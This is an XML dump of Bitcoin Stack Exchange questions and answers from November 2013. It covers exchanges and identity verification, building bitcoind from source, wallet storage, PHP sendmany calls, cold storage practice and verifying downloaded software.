  <row Id="16721" PostTypeId="2" ParentId="16717" CreationDate="2013-11-15T15:08:58.913" Score="1" Body="&lt;p&gt;Probably because blockchain.info is just a wallet whereas coinbase actually allows you to buy and sell bitcoins. Exchanging one currency for another (where one is only loosely labeled a currency by the government) is where you get into sketchy regulatory waters. I imagine these are the types of problems apple would like to avoid. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-15T15:08:58.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16722" PostTypeId="2" ParentId="16673" CreationDate="2013-11-15T15:48:05.423" Score="-1" Body="&lt;p&gt;If you're looking for a Bitcoin auction site, like BitMit was, try &lt;a href=&quot;http://www.halfpricedigital.com&quot; rel=&quot;nofollow&quot;&gt;http://www.halfpricedigital.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8795" LastActivityDate="2013-11-15T15:48:05.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16723" PostTypeId="2" ParentId="16718" CreationDate="2013-11-15T17:04:44.280" Score="1" Body="&lt;p&gt;Right.  The statement &quot;Alice has 5 coins&quot; could be more precisely phrased &quot;Alice controls the private keys for some set of addresses, to which are directed some set of transaction outputs with a total value of 5&quot;.  But that's a lot more cumbersome.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-11-15T17:04:44.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16724" PostTypeId="1" CreationDate="2013-11-15T17:10:38.773" Score="4" ViewCount="1656" Body="&lt;p&gt;I'm trying to build bitcoind from source on Ubuntu 13.04:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ apt-get install libboost-all-dev ccache pkg-config # deps&#xA;$ git clone https://github.com/bitcoin/bitcoin.git&#xA;$ cd bitcoin&#xA;$ ./configure --without-qt --with-incompatible-bdb&#xA;$ make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for way to build static binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can not find --enable-static option in configure. How should I build static bitcoind properly?&lt;/p&gt;&#xA;" OwnerUserId="8789" LastActivityDate="2014-12-15T14:14:33.373" Title="Building from source static bitcoind on Ubuntu" Tags="|bitcoind|development|linux|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16725" PostTypeId="1" AcceptedAnswerId="16726" CreationDate="2013-11-15T17:23:21.337" Score="2" ViewCount="3906" Body="&lt;p&gt;Are there bitcoin exchanges that do not require an extensive verification process to begin trading? I do not want to submit forms on MtGox.&lt;/p&gt;&#xA;" OwnerUserId="4814" LastEditorUserId="4814" LastEditDate="2013-11-18T00:45:17.567" LastActivityDate="2016-02-04T20:45:17.553" Title="Are there bitcoin exchanges that do not require an extensive verification process?" Tags="|exchanges|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16726" PostTypeId="2" ParentId="16725" CreationDate="2013-11-15T18:10:59.847" Score="5" Body="&lt;p&gt;No U.S. exchange. &lt;a href=&quot;https://btc-e.com/&quot;&gt;Btc-e&lt;/a&gt; does not but they will not do business with U.S. banks. &lt;a href=&quot;https://coinbase.com/&quot;&gt;Coinbase&lt;/a&gt; does not have an extensive verification process, but they are technically not an exchange, and to buy or sell bitcoins through their service you have to link a U.S. bank account which for all intents and purposes is the same thing as verification. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Patriot_Act&quot;&gt;patriot act&lt;/a&gt; any currency exchange doing business with the U.S. has the burden of proving that they are not laundering money for terrorists. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-15T18:10:59.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16727" PostTypeId="1" AcceptedAnswerId="17259" CreationDate="2013-11-15T19:16:54.233" Score="-4" ViewCount="202" Body="&lt;p&gt;I am developing a bitcoin dice based game. I am located inside the US. Do i did a gaming license to operate. Is it completely legal if not? &lt;/p&gt;&#xA;" OwnerUserId="8799" LastActivityDate="2014-03-25T12:36:18.843" Title="Bitcoin Casino Questions" Tags="|legal|gaming|" AnswerCount="1" CommentCount="3" ClosedDate="2014-03-25T15:28:50.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="16728" PostTypeId="1" CreationDate="2013-11-15T19:22:51.127" Score="2" ViewCount="530" Body="&lt;p&gt;Looking into LiteCoin a bit makes me wonder: if LiteCoin were to gain transaction, what's stopping a 3rd, 4th, and 5th currency from gaining traction as well? Wouldn't this effectively eliminate bitcoin's ability of being a &quot;deflationary currency&quot; because other equivalent currencies can be created without end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mere fact that nothing else has approached the same popularity as Bitcoin leads me to believe that there &lt;em&gt;is&lt;/em&gt; some sort of pressure preventing an explosion of multiple digital currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there already are several alternate currencies, so why don't they have the effect of diluting bitcoin as I expect they would?&lt;/p&gt;&#xA;" OwnerUserId="1625" LastActivityDate="2014-02-14T04:27:28.960" Title="What pressure prevents alternate currencies from completely diluting bitcoin?" Tags="|litecoin|economic-theory|currencies|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16731" PostTypeId="2" ParentId="14195" CreationDate="2013-11-15T22:49:35.840" Score="1" Body="&lt;p&gt;Coinbase says that their security cancellations are purely algorithmic cyber security measure that will flag suspicious accounts according to their own unpublished security criteria.  I say that the security they are worried about is their own financial security.  If they do obtain bitcoins to fulfill an order and the value has risen enough while the contract was pending why not sell them to someone else, bank the profits, cancel the transaction, and tell their clients it is all to &quot;protect&quot; them.  It doesn't take any humans to do this it is all calculated into the algorithm, but it is the calculation by Coinbase's owners to take profits for themselves when they rightfully belong to their clients that makes this company a scam. &lt;/p&gt;&#xA;" OwnerUserId="8806" LastActivityDate="2013-11-15T22:49:35.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16732" PostTypeId="2" ParentId="16728" CreationDate="2013-11-16T02:18:58.053" Score="1" Body="&lt;p&gt;That pressure is purely market opinion of each currency as it comes into the public view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F.A. Hayek argues that competition among currencies is beneficial for the economy and a useful means for fighting inflation of currencies. See &lt;a href=&quot;https://mises.org/document/3983&quot; rel=&quot;nofollow&quot;&gt;Choice in Currencies&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin by the very definition of its protocol is, in the long term, a deflationary currency. This is a fundamental quality that the introduction and rise of competing currencies - many of which will be modeled after Bitcoin - cannot change. Bitcoin cannot be diluted, because bitcoins cannot be arbitrarily added to circulation on a whim. Those who may have this power are under tremendous public scrutiny and would have a gargantuan task of persuasion ahead of them, should they choose to attempt to sway Bitcoin users' opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Competition among the various alternative cryptocurrencies remains a topic of considerable debate, but the &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;market cap chart&lt;/a&gt; to which you linked in your question comment indicates that &lt;em&gt;someone&lt;/em&gt; finds value in these alternative currencies based on their merits.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-16T02:18:58.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16733" PostTypeId="2" ParentId="14269" CreationDate="2013-11-16T03:13:42.377" Score="1" Body="&lt;p&gt;Yes, this is theoretically possible, but in practice you will not do this, because an internet connection is necessary for preparing the payment on sender side and for verifying it on receiver side. Thus, if both parties have an internet connection anyways, it is likely that there is no reason for mailed information printed on paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if one would still want to do so, he can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can print the private key of a bitcoin address, which holds bitcoins, onto paper. For example you can print the data in hexadecimal representation or as a QR tag.&lt;br&gt;&#xA;You can then later recover this bitcoin address from the printed information and use the bitcoins stored on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone wants to send bitcoins by mail, he would use this technique. He would first prepare a new bitcoin address, put the amount of bitcoin that he wants to pay onto this address, and print the private key.&lt;br&gt;&#xA;Next, he would send the printed private key to the receiver.&lt;br&gt;&#xA;The receiver would then take the information, import it into his bitcoin software, and finally, to make sure the sender does not anymore control the bitcoins, transfer all the bitcoins stored on this address to a new address, of which the sender does not have the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last step might seem unnecessary, because the receiver already controls the received bitcoins. However, the sender might also still have the private key and use it for transferring the sent bitcoins, thus emptying the address of which the receiver has the private key. To make sure, this can not happen anymore, the receiver moves the coins away from the possible access of the sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is to put a physical coin into an envelope and send it. This is basically the same thing as above, becuase the physical coins are just another way of storing a private key of a bitcoin address, which holds some money. See &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.casascius.com/&lt;/a&gt; as an example for physical coins.&lt;/p&gt;&#xA;" OwnerUserId="6021" LastEditorUserId="6021" LastEditDate="2013-11-16T03:22:04.513" LastActivityDate="2013-11-16T03:22:04.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16734" PostTypeId="1" AcceptedAnswerId="18220" CreationDate="2013-11-16T04:29:40.930" Score="2" ViewCount="247" Body="&lt;p&gt;Can anyone tell me how bit coins are stored on my account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a bit coin account long ago and not sure what happened? Can anyone explain in simple words what a bit coin account has? Is it a key ... I am totally confused about it after reading the bitcoin.org website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My specific question are,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;can we have a bit coin account like email account where I can store my transactions.&lt;/li&gt;&#xA;&lt;li&gt;can I start stop this account wherever I am, say on my pc, on my laptop, on mobile or on an other PC.?&lt;/li&gt;&#xA;&lt;li&gt;How to identify my account? what is the scope of portability?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8813" LastActivityDate="2013-12-07T11:29:25.143" Title="How to store a bit coin on my account?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16737" PostTypeId="2" ParentId="16649" CreationDate="2013-11-16T05:48:49.353" Score="-1" Body="&lt;p&gt;Multiple users sign a transaction, instead of just one user. Now it's hard to tell which user initiated the transaction, hence increased privacy.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2013-11-16T05:48:49.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16738" PostTypeId="1" CreationDate="2013-11-16T07:03:18.577" Score="1" ViewCount="3416" Body="&lt;p&gt;There appears to be so many exchanges / middle-mans on a bitcoin market (e.g coinjar.com) which can help to buy / sell bitcoin for a cut (usually 2-4%). Do they simply trade bitcoins using their own bitcoin wallet and just keep the client's balance of cash/bitcoins in their system?&lt;/p&gt;&#xA;" OwnerUserId="8816" LastActivityDate="2015-02-12T09:27:56.410" Title="Does one need to have a bitcoin wallet to buy/sell bitcoins?" Tags="|transaction-fees|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16739" PostTypeId="2" ParentId="9997" CreationDate="2013-11-16T08:00:08.250" Score="2" Body="&lt;p&gt;You can run bitcoind/litecoind with the -walletnotify flag, which runs a script when a transaction is received.  The script could then send a notification.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind -walletnotify=&amp;lt;your script name&amp;gt; %s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The %s is replaced with the hash of the incoming transaction.&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-16T08:00:08.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16740" PostTypeId="2" ParentId="16715" CreationDate="2013-11-16T08:08:07.817" Score="2" Body="&lt;p&gt;A single instance of cgminer handles multiple GPUs, so there is no need to run separate processes.  Enabling SLI(You aren't using NVIDIA cards, right...) or Crossfire will decrease mining performance, so leave it off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no overhead associated with running multiple GPUs on a single system, unless the cards are physically spaced so close together that they overheat and throttle. 7 1.2 Mh/s cards would be expected to produce 8.4 Mh/s total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, investing in new GPUs for mining is questionable, and you should only consider GPU mining for scrypt-based altcoins such as Litecoin, as ASICs have made GPUs unviable for bitcoin mining.&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-16T08:08:07.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16741" PostTypeId="2" ParentId="10989" CreationDate="2013-11-16T08:50:37.760" Score="1" Body="&lt;p&gt;As David Schwartz notice, it can be done via Bitstamp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, Bitstamp require an authentication. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R1ody.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Means:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TO VERIFY YOUR ACCOUNT PLEASE SUBMIT&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1.) a valid government issued ID,&#xA;  acceptable high quality images of documents are: international&#xA;  passport (double page) national ID card (both sides) driver's license&#xA;  (both sides)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2.) a proof of residency, acceptable scanned images of paper documents are: bank statement utility bill for utilities consumed at your home&#xA;  address tax return, council tax certificate of residency issued by a&#xA;  government or a local government authority You can also submit other&#xA;  documents to serve as proof of residency such as; government-issued&#xA;  documents, judicial authority-issued documents, documents issued by a&#xA;  public agency / authority, utility service company, or similar&#xA;  regulated service providing companies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The great news&lt;/strong&gt;, that you can withdraw bitcoins directly from ripple.com client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read this, &#xA;&lt;a href=&quot;https://ripple.com/blog/bitcoin-bridge-lets-ripple-users-make-payments-to-bitcoin-accounts/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ripple.com/blog/bitcoin-bridge-lets-ripple-users-make-payments-to-bitcoin-accounts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vWeEr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you push &quot;Send XRP&quot; button, it magically convert xrp to btc and send coins to you.&lt;/p&gt;&#xA;" OwnerUserId="8789" LastEditorUserId="8789" LastEditDate="2013-11-16T09:27:20.267" LastActivityDate="2013-11-16T09:27:20.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16742" PostTypeId="1" AcceptedAnswerId="16746" CreationDate="2013-11-16T09:46:25.807" Score="1" ViewCount="332" Body="&lt;p&gt;For example, today on CEX.IO I can buy 1 GH/S for 0.08 BTC. From my understanding, a change in difficulty is imminent and will increase roughly by 20% (&lt;a href=&quot;http://bitcoinwisdom.com/bitcoin/difficulty&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwisdom.com/bitcoin/difficulty&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the price for GH/S decline by roughly 18.3% (1/1.2)?&lt;/p&gt;&#xA;" OwnerUserId="8809" LastEditorUserId="5406" LastEditDate="2015-10-28T13:49:51.350" LastActivityDate="2015-10-28T13:49:51.350" Title="Is it correct to assume that the price of cloud GH/S will vary proportionally with the difficulty change?" Tags="|exchange-rate|difficulty|cloud-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16743" PostTypeId="1" AcceptedAnswerId="16749" CreationDate="2013-11-16T09:49:55.793" Score="2" ViewCount="500" Body="&lt;p&gt;Think of a situation where you receive and send bitcoins on a regular basis, like an exchange or a payments processor.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You want to keep as large a portion of your coins as possible on the cold storage without compromising efficiency.&lt;/li&gt;&#xA;&lt;li&gt;You can't store all your coins in a cold storage because you need to send payments regularly too.&lt;/li&gt;&#xA;&lt;li&gt;You need enough bitcoins on the warm storage to be able to cover the daily outgoing transfers you send.&lt;/li&gt;&#xA;&lt;li&gt;Sometimes you receive a lot, sometimes you send a lot.&lt;/li&gt;&#xA;&lt;li&gt;You need a secure and efficient way to transfer coins between these storages.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How do you do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping paper wallets in a safe and opening and importing/swiping them into the warm storage just doesn't work after a while.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-12-30T08:39:46.997" Title="What is the most efficient and safest way to handle cold&amp;warm Bitcoin storages?" Tags="|security|coldstorage|payment|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16745" PostTypeId="1" AcceptedAnswerId="17206" CreationDate="2013-11-16T10:38:33.013" Score="1" ViewCount="4785" Body="&lt;p&gt;I have some Bitcoin on my Webmoney Bitcoin purse (called &quot; WMX &quot;), so I want to pay for some service, for example to my &quot;namecheap.com&quot; account, how should i do it? after checkout it redirects me to bitpay.com then I think I should copy the address they provide and what I do next?&lt;/p&gt;&#xA;" OwnerUserId="8820" LastActivityDate="2014-11-12T22:21:09.123" Title="How to pay bitcoin via webmoney?" Tags="|bitpay|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16746" PostTypeId="2" ParentId="16742" CreationDate="2013-11-16T11:07:25.460" Score="1" Body="&lt;p&gt;The price of CEX.IO's GH/S asset is based on the total future expected payout of a Gh/s of mining hardware, factoring in management fees and the time value of money.  The current price already factors in future difficulty increases, as these are predictable and expected events.  The price should not move significantly when the difficulty adjusts, as the occurrence and magnitude of the adjustments are not a surprise to any informed participant in the market.&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-16T11:07:25.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16747" PostTypeId="1" CreationDate="2013-11-16T11:50:30.707" Score="0" ViewCount="916" Body="&lt;p&gt;I have following problem with dynamic array be used in sendmany transaction in bitcoin engine, problem described in code comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;step 1 create array&#xA;step 2 inserting values to array&#xA;step 3 print an array to check the result which is correct&#xA;step 4 sendmany (here is a problem) see below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//step 1 create array&#xA;$to = array();&#xA;//step 2 inserting values to array&#xA;while ( $row_users = mysqli_fetch_array($getting_allowed_users) )&#xA;{&#xA;          $to[] = array($row_users['user_bitcoin_wallet'] =&amp;gt; $currency);&#xA;}&#xA;&#xA;//step 3 print an array to check the result which is correct&#xA;print_r(array_values($to)); &#xA;&#xA;//step 4 sendmany (here is a problem)&#xA;&#xA;// if I do it that way sendmany is only sending to first wallet which is indexed [0]&#xA;// I cannot to foreach as php  code structure is not allowing {} inside the command&#xA;$bitcoin-&amp;gt;sendmany($BuyerAccount,$to[0]); &#xA;&#xA;//Question: How I can display all the values from my array in following place&#xA;$bitcoin-&amp;gt;sendmany($BuyerAccount,ALL THE VALUES); &#xA;&#xA;//example&#xA;$bitcoin-&amp;gt;sendmany($BuyerAccount,&quot;walet1&quot;=&amp;gt;0.1,&quot;walet2&quot;=&amp;gt;0.1,&quot;walet3&quot;=&amp;gt;0.1.....);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8824" LastActivityDate="2015-12-20T20:08:34.477" Title="Dynamic PHP Array used in sendmany bitcoin command issue" Tags="|bitcoind|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16748" PostTypeId="1" CreationDate="2013-11-16T11:52:58.640" Score="2" ViewCount="439" Body="&lt;p&gt;I have seen several ways of creating an offline wallet for cold (secure) storage:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use BitcoinQT to generate a wallet offline using a clean install of Ubuntu.&lt;/li&gt;&#xA;&lt;li&gt;Armory&lt;/li&gt;&#xA;&lt;li&gt;Electrum&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Are any of these methods more secure than the others? Is there a recommended solution for creating a secure offline wallet?&lt;/p&gt;&#xA;" OwnerUserId="8825" LastActivityDate="2016-02-20T07:07:48.403" Title="What are the differences in these methods of creating wallets offline?" Tags="|wallet|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16749" PostTypeId="2" ParentId="16743" CreationDate="2013-11-16T11:56:20.383" Score="3" Body="&lt;p&gt;I would personally use a linux/bsd computer, without a desktop-environment. This means, you'd command a bitcoin command-line client without having a graphical interface. Probably something like FreeBSD or Ubuntu. This computer can still be online and used for everyday transactions, but it's much less prone to keylogger attacks and any other sort of attacks since you're not using a Web-browser or Email client or any other malicious type of software that could harm your computer - you just have the command-line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion having a minimal setup, with no software installed whatsoever except your bitcoin command-line client, is the best way to go for this type of scenario where you need to send regular payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ifmVP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you need to do regular transactions daily, using something like this is better than a cold storage in my opinion. You could backup your keys in paper wallets sure, but you'd need something online for everyday transactions. And command-line freebsd system would be your most secure option. Unfortunately if the constant swiping/importing doesn't work for you, this is the next best thing imho.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2013-11-16T12:02:44.223" LastActivityDate="2013-11-16T12:02:44.223" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16750" PostTypeId="1" CreationDate="2013-11-16T12:08:17.707" Score="4" ViewCount="793" Body="&lt;p&gt;When creating a secure offline wallet, the first step is to download some software or OS (such as Ubunutu) to create the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can you verify that the software you are downloading has not been tampered with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some downloads have a SHA of the file on the download page. But a hacker could  change the SHA on the download page. So how do you know that the file is not tainted and the SHA is the correct SHA of the tainted file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the &lt;a href=&quot;https://code.google.com/p/bitcoinarmory/downloads/list&quot; rel=&quot;nofollow&quot;&gt;download page&lt;/a&gt; for Armory has installer files and SHA's for some of the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you verify that the download of Ubuntu is not tainted?&lt;/p&gt;&#xA;" OwnerUserId="8825" LastActivityDate="2014-04-15T05:49:21.093" Title="How to verify that downloaded files such as Ubuntu, BitcoinQT, Armory, and Electrum have not been tampered with?" Tags="|wallet|security|ubuntu|electrum|armory|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16751" PostTypeId="1" AcceptedAnswerId="20275" CreationDate="2013-11-16T12:29:38.633" Score="6" ViewCount="1800" Body="&lt;p&gt;If I have Bitcoins in my wallet and I have downloaded the blockchain far enough so that I can see that I have received them, can I send them without having a fully updated blockchain?&lt;/p&gt;&#xA;" OwnerUserId="8826" LastActivityDate="2014-01-10T16:35:40.773" Title="Can you send Bitcoins from Bitcoin-Qt without downloading the whole blockchain?" Tags="|transactions|bitcoin-core|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16752" PostTypeId="2" ParentId="16747" CreationDate="2013-11-16T12:30:08.730" Score="1" Body="&lt;p&gt;Have you tried:&#xA;&lt;code&gt;$bitcoin -&amp;gt; sendmany($BuyerAccount, $to);&lt;/code&gt;?&lt;br&gt;&#xA;Bitcoin API states &lt;code&gt;&amp;lt;fromaccount&amp;gt; {address:amount,...} [minconf=1] [comment]&lt;/code&gt; as parameters, so you don't have to iterate - pass the whole array.&lt;br&gt;&#xA;If it doesn't work somehow, you can also prepare request by yourself for RPCClient. This is example for sendfrom:&lt;code&gt;&#xA;                $request = '{&quot;method&quot;:&quot;sendfrom&quot;,&quot;params&quot;:[&quot;'.$params[0].'&quot;,&quot;'.$params[1].'&quot;,'.$params[2].','.$params[3].'],&quot;id&quot;:'.$currentId.'}';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-11-16T12:30:08.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16753" PostTypeId="2" ParentId="16750" CreationDate="2013-11-16T12:36:04.023" Score="0" Body="&lt;p&gt;Probably, better to create a bitcoin address with &lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow&quot;&gt;vanytigen&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply clone repository, make a tar ball, thereafter move the source to your off-line station and compile &lt;strong&gt;vanitygen&lt;/strong&gt; here. You can generate any amount of addresses off-line and send bitcoin to this addresses( called, &quot;cold-wallet&quot; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you notice, &quot;hacker could change the SHA&quot;, it is &lt;strong&gt;man-in-the-middle&lt;/strong&gt; attack. Most of secure-focused projects have gpg public key on the home page. You can verify .sig files, look e.g. at the &lt;a href=&quot;https://tails.boum.org/download/index.en.html&quot; rel=&quot;nofollow&quot;&gt;tails download page&lt;/a&gt;. Anyway, &lt;strong&gt;man-in-the-middle&lt;/strong&gt; can change this public key, if you have no it, yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is why, you should get access to verified provider or use &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor&lt;/a&gt; with https sites to download this keys beforehand. The same way you should verify SHA256SUMs at the sites where are no gpg public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should remember that any site might be defaced, SHA would be replaced with malicious and any soft might be infected. It will not be a &lt;strong&gt;man-in-the-middle attack&lt;/strong&gt; anymore, but if you have a public key of author, you can detect this infection as pioneer. Additionally, if you will use source code, you could help community with forensic and gain sort of security. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should download Ubuntu from this &lt;a href=&quot;http://releases.ubuntu.com/13.10/&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://releases.ubuntu.com/13.10/SHA256SUMS&quot; rel=&quot;nofollow&quot;&gt;http://releases.ubuntu.com/13.10/SHA256SUMS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://releases.ubuntu.com/13.10/SHA256SUMS.gpg&quot; rel=&quot;nofollow&quot;&gt;http://releases.ubuntu.com/13.10/SHA256SUMS.gpg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8789" LastActivityDate="2013-11-16T12:36:04.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16754" PostTypeId="1" CreationDate="2013-11-16T13:00:14.723" Score="1" ViewCount="2193" Body="&lt;p&gt;Is there an inflationary cryptocurrency with following features?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No fixed limit on total coins (coins will be emitted forever).&lt;/li&gt;&#xA;&lt;li&gt;Miners are the only source of new coins.&lt;/li&gt;&#xA;&lt;li&gt;Mining reward (new coins) go all to miners.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I found several inflationary ones like Freicoin or Devcoin, but they seem to have various hybrid models where newly mined coins are (at least partially) transferred to other subjects than miners (various foundations, developers etc.).&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2016-04-10T12:14:39.037" LastActivityDate="2017-07-26T04:15:02.013" Title="Inflationary (no total coin limit) cryptocurrency where miners keep all new coins" Tags="|alternatives|currencies|mining-reward|inflation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16755" PostTypeId="2" ParentId="16748" CreationDate="2013-11-16T13:23:42.517" Score="1" Body="&lt;p&gt;The problem with using an operating system like Windows to create these password-protected wallet is that you could still be offline (not connected to the internet), but if you have some sort of virus installed, they could copy your wallet, get your password that you'd type in, and store it locally. Then as soon as you connect it to the internet, they would send all this info to their servers and you're wallets would now be breached. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So using an operating system that is secure and open-source is &lt;strong&gt;very&lt;/strong&gt; important. I would personally even disregard Ubuntu, because it has a graphical interface and it comes preinstalled with lots of questionable software - some of which has been recently set to send unwanted data to their servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using something like FreeBSD or other Linux distros, directly using the command-line, and no graphical interface, would lower the barrier for any sort of attack.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2013-11-16T13:23:42.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
